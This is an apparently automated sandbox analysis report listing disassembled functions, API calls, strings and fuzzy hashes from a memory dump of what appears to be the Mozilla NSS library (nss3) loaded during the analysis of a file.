Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6D01DC29,?), ref: 6CF9BE78

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6D01DC29,?), ref: 6CF9BE96

Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6D01DC29,?), ref: 6CF9BEBB

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6D01DC29,?), ref: 6CF9BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6D01DC29,?), ref: 6CF9BEF3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 4a7b99c08f808249d8d39c0538512287f7a9057d6a771f51b1ee9d4c0b08d13a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 8E11E4B2E002195BFF109B659C01FAB3BACEF41249F144428ED18EB780EB32D909C7A1

Function 6D023C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6D025B40: PR_GetIdentitiesLayer.NSS3 ref: 6D025B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D023D3F

Part of subcall function 6CF9BA90: PORT_NewArena_Util.NSS3(00000800,6D023CAF,?), ref: 6CF9BABF
Part of subcall function 6CF9BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6D023CAF,?), ref: 6CF9BAD5
Part of subcall function 6CF9BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6D023CAF,?), ref: 6CF9BB08
Part of subcall function 6CF9BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6D023CAF,?), ref: 6CF9BB1A
Part of subcall function 6CF9BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6D023CAF,?), ref: 6CF9BB3B

PR_EnterMonitor.NSS3(?), ref: 6D023CCB

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

PR_EnterMonitor.NSS3(?), ref: 6D023CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D023CF8
PR_ExitMonitor.NSS3(?), ref: 6D023D15
PR_ExitMonitor.NSS3(?), ref: 6D023D2E

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 5a8e7555d07425e4927b18898514d3fd9ec362fc15efa37af2a28ce546e52ba1
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 291127B5A116006FF7205A65FC41B6BB2E8EF19208F41453CEA1AC7621E733F829C752

Function 6CFEFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CFEFE08

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CFEFE1D

Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CFEFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CFEFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CFEFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CFEFE6F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 3f630e31fdb52e412ce68eeabf17eafa8bf05620f31b9464ff252fea77c7bdbe
Instruction ID: 37e83f2fac97d7c2b9273dd71cf062928a68a0e9ff16e1367fe8ba65ff2879f6
Opcode Fuzzy Hash: 3f630e31fdb52e412ce68eeabf17eafa8bf05620f31b9464ff252fea77c7bdbe
Instruction Fuzzy Hash: 0511E5B6601201BBEB008B55EC40B9B7398EF58299F148034E92C97B52E731EA14C791

Function 6D09FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6D09FD9E

Part of subcall function 6D059BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CF81A48), ref: 6D059BB3
Part of subcall function 6D059BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF81A48), ref: 6D059BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6D09FDB9

Part of subcall function 6CF7A900: TlsGetValue.KERNEL32(00000000,?,6D0F14E4,?,6CF14DD9), ref: 6CF7A90F
Part of subcall function 6CF7A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CF7A94F

PR_Unlock.NSS3 ref: 6D09FDD4
PR_Lock.NSS3 ref: 6D09FDF2
PR_NotifyAllCondVar.NSS3 ref: 6D09FE0D
PR_Unlock.NSS3 ref: 6D09FE23

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: d436cff4dacfe93fed3d9d1131d126fc05f1e46da5a69a07f42971595dda6147
Instruction ID: fa3e1a92f7c61aa99e6c9c286ffec54cadb1839a8737c902ce5eb576b0f7f6bf
Opcode Fuzzy Hash: d436cff4dacfe93fed3d9d1131d126fc05f1e46da5a69a07f42971595dda6147
Instruction Fuzzy Hash: BA01A1F6D082019BEF058F15FC00A157B72BB422687264374ED254B2E6E722ED35D782

Function 6CF7AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF7AFDA

Strings

misuse, xrefs: 6CF7AFCE
%s at line %d of [%.10s], xrefs: 6CF7AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF7AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CF7AF5C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: c8ab806db1d78baa6bad9af70d5fe51d11e76f84b8c377f64b7d9bef2b8fafe8
Instruction ID: dc7e2b16424b88c61ca1bee11dd877e3a515badc03582bb7aaab6a71dbbb7733
Opcode Fuzzy Hash: c8ab806db1d78baa6bad9af70d5fe51d11e76f84b8c377f64b7d9bef2b8fafe8
Instruction Fuzzy Hash: CE91D175A042158FDB14CF29D854BEEB7F1AF49314F1A44AAE865AB791C730ED01CB70

Function 6CFDFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CFDFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFDFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CFDFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CFDFDDE

Part of subcall function 6CFE8800: TlsGetValue.KERNEL32(?,6CFF085A,00000000,?,6CF98369,?), ref: 6CFE8821
Part of subcall function 6CFE8800: TlsGetValue.KERNEL32(?,?,6CFF085A,00000000,?,6CF98369,?), ref: 6CFE883D
Part of subcall function 6CFE8800: EnterCriticalSection.KERNEL32(?,?,?,6CFF085A,00000000,?,6CF98369,?), ref: 6CFE8856
Part of subcall function 6CFE8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CFE8887
Part of subcall function 6CFE8800: PR_Unlock.NSS3(?,?,?,?,6CFF085A,00000000,?,6CF98369,?), ref: 6CFE8899

Strings

pkcs11:, xrefs: 6CFDFC4F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 10107027edae3d668efed9de1f47cf22957c38208d3f123f4caa7f534d828c08
Instruction ID: 1c83d71c62988fe2757502cc5930fc9fedcd9edeb7623f4442af76ef389ed863
Opcode Fuzzy Hash: 10107027edae3d668efed9de1f47cf22957c38208d3f123f4caa7f534d828c08
Instruction Fuzzy Hash: C551F672A04261ABEB509F69EC40F5A3375AF4535CF2F0025DD099BB52EB31FA14CB92

Function 6CF1BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CF1BE02

Part of subcall function 6D049C40: memcmp.VCRUNTIME140(?,00000000,6CF1C52B), ref: 6D049D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF1BE9F

Strings

%s at line %d of [%.10s], xrefs: 6CF1BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF1BE89
database corruption, xrefs: 6CF1BE93

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 981ab9d0e86bb2a9c97313bbdb40026a388e13329efd14baab8a0200be1a5012
Instruction ID: 7dbd55036667592d66bb313cdc2065126e5872d6b1ffaecf0098c5c84a314617
Opcode Fuzzy Hash: 981ab9d0e86bb2a9c97313bbdb40026a388e13329efd14baab8a0200be1a5012
Instruction Fuzzy Hash: C93125B2A4C255CBC700CF69C8D4BABBBA1AF45314B098998EE585BF82D371ED00C7D1

Function 6D006DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6D006E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D006E57

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6D006E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6D006EAA

Strings

nm, xrefs: 6D006DF9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nm
API String ID: 3163584228-1757632871
Opcode ID: c7cd03a8d656869a1c7490b2f9525ce08689905a9e4e1e8c3d921db80e590f0a
Instruction ID: c0e77eadd97c71d61f0b7d0363fb90148a26f8cb44dc73b0808fa4713707cc23
Opcode Fuzzy Hash: c7cd03a8d656869a1c7490b2f9525ce08689905a9e4e1e8c3d921db80e590f0a
Instruction Fuzzy Hash: 6731B171614792FBFB145F34DD0436AB7A6AB05316F90463CDA9A97281EB3064D4CBC1

Function 6CF80DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CF80BDE), ref: 6CF80DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CF80BDE), ref: 6CF80DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CF80BDE), ref: 6CF80DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CF80BDE), ref: 6CF80E32

Strings

%s incr => %d (find lib), xrefs: 6CF80E2D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 5a941571d6e93a98b30441a95c7b36c10e8944e8d74208e4608571f83e2c15fd
Instruction ID: 2dd610dabb57971fd898a83befea3214b168fe5a5b55f43a5e72f31c7a912567
Opcode Fuzzy Hash: 5a941571d6e93a98b30441a95c7b36c10e8944e8d74208e4608571f83e2c15fd
Instruction Fuzzy Hash: 6101D472702314AFE7208F65DC45F2773BCEB45A09B49446DE909D3642E7A2EC1486E1

Function 6CFC1CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CFC1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CFC1CF1

Part of subcall function 6D0A09D0: PR_Now.NSS3 ref: 6D0A0A22
Part of subcall function 6D0A09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0A0A35
Part of subcall function 6D0A09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0A0A66
Part of subcall function 6D0A09D0: PR_GetCurrentThread.NSS3 ref: 6D0A0A70
Part of subcall function 6D0A09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0A0A9D
Part of subcall function 6D0A09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0A0AC8
Part of subcall function 6D0A09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0A0AE8
Part of subcall function 6D0A09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0A0B19
Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0A0B48
Part of subcall function 6D0A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0A0C76
Part of subcall function 6D0A09D0: PR_LogFlush.NSS3 ref: 6D0A0C7E

Strings

C_Initialize, xrefs: 6CFC1CD3
pInitArgs = 0x%p, xrefs: 6CFC1CEC
nm, xrefs: 6CFC1D09, 6CFC1D30

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nm
API String ID: 1907330108-2865107958
Opcode ID: 48766dd0d2a59b9d6c7a6f26509c41c91d40752ae003b5a96a980d0cb236f366
Instruction ID: 851a3909c902fcbf6cf88ba33eb2cb3ba99d0202c10ac8014ceb7131c4a9b1d5
Opcode Fuzzy Hash: 48766dd0d2a59b9d6c7a6f26509c41c91d40752ae003b5a96a980d0cb236f366
Instruction Fuzzy Hash: 3101B1767051419FDF10AB65ED49B6A33B5EBC2319F288029ED08D3612DB34D859CB93

Function 6CF29C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF29CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CF29D45
EnterCriticalSection.KERNEL32(?), ref: 6CF29D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CF29DDE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 01fd1e114674507d21f112210cd7cf0db84b9c33a248a85220d87cf29e3a7c49
Instruction ID: 888770eb39c9a84e9714cc8775df3b27f20be70d8105024a9e4db882e1f3d9c5
Opcode Fuzzy Hash: 01fd1e114674507d21f112210cd7cf0db84b9c33a248a85220d87cf29e3a7c49
Instruction Fuzzy Hash: E8A1AF725042009BEB08DFA5E98876E3775FF86714F28012DDD168BA44DF3EAA85CB52

Function 6CFB1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CFB1ECC

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

TlsGetValue.KERNEL32 ref: 6CFB1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFB1EEF
PR_ExitMonitor.NSS3(?), ref: 6CFB1F37
PR_Unlock.NSS3(?), ref: 6CFB1F44

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: e283f2c6005fd468db6a6227fef60255b5d291a1a8d625c087d40bab860e45a5
